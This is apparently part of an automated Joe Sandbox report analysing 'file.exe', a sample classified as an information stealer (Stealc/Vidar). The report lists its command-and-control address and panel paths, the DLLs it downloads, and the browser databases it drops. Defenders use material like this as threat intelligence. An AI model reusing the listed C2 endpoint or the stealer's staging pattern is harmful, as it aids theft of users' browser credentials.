http://185.215.113.206/6c4adf523b719729.phpm	file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1857602646.000000001D15D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_81.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phptware	file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	chromecache_77.3.dr	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	GDBAKKKFBGDHJKFHJJJJ.0.dr	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/nss3.dllQ	file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://apis.google.com	chromecache_77.3.dr, chromecache_81.3.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllq	file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://domains.google.com/suggest/flow	chromecache_81.3.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2079320037.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2064115001.000000001D252000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpX	file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2080218052.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php3	file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	false		unknown
http://185.215.113.206GDB	file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1857602646.000000001D15D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php9	file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php5	file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dllRP	file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_81.3.dr	false		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpion:	file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Java	file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dllrQ7	file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206	file.exe, file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false	URL Reputation: safe	unknown
https://clients6.google.com	chromecache_81.3.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	play.google.com	United States	15169	GOOGLEUS	false
142.250.185.78	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546004
Start date and time:	2024-10-31 11:26:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.67, 64.233.167.84, 172.217.18.110, 34.104.35.123, 142.250.184.227, 142.250.185.202, 142.250.186.74, 142.250.185.170, 216.58.212.170, 142.250.185.138, 142.250.186.106, 142.250.185.74, 142.250.185.106, 142.250.181.234, 142.250.184.202, 216.58.206.42, 142.250.186.138, 142.250.74.202, 142.250.186.42, 172.217.18.10, 142.250.185.234, 93.184.221.240, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 6692 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:27:27	API Interceptor	15x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://flaviarc.com/vrecord%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/	Get hash	malicious	HTMLPhisher	Browse
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse
	https://dzentec-my.sharepoint.com/:u:/g/personal/i_lahmer_entec-dz_com/EdYp5IxQ-uxJivnPAqSzv40BZiCX7sphz7Kj8JDyRBKqpQ?e=wqutC4	Get hash	malicious	Unknown	Browse
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s599af221dbfd41b9a607812ebc66d2cf&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VpSHltbG45MjdsQnBnZUJMcnhtMHM4QjRNbHFPTTJWd0ZlQTFNLWNhZ0lnRkE_ZT1aak8wczY&wd=target%28Sezione%20senza%20titolo.one%7C99ad2a4b-5ecc-495f-9ce8-040ac62eb8f2%2F%5BExternal%5D%20-%20Invoice%20%27s%208808-%7C9e6e973e-3cda-429a-a28f-c51dc242e5b1%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse
	https://invite.bublup.com/q6fU7gLtMrfS	Get hash	malicious	HTMLPhisher	Browse
	.gov.ua.html	Get hash	malicious	Unknown	Browse
	Proposal From SIOLI Alexander Pino#U2026.pdf	Get hash	malicious	Unknown	Browse
	.gov.ua.html	Get hash	malicious	Unknown	Browse
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	PROFORMA FATURA pdf.exe	Get hash	malicious	Snake Keylogger	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Orden de compra.xla.xlsx	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Orden de compra.xla.xlsx	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://invite.bublup.com/q6fU7gLtMrfS	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Proposal From SIOLI Alexander Pino#U2026.pdf	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	.gov.ua.html	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	new order - PO 351081.exe	Get hash	malicious	AgentTesla	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	http://archzine.net	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	I43xo3KKfS.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAAAFCAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHJECFCGHIDGHIDHDHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBFBFBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDHIDAAFHIIDGDBFIECFCFHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBAKKKFBGDHJKFHJJJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJDBAAEGDBKKECBGIJEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJKEBGHJKFIDGCAAFCAFCBAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: I43xo3KKfS.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Ky4J8k89A7.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
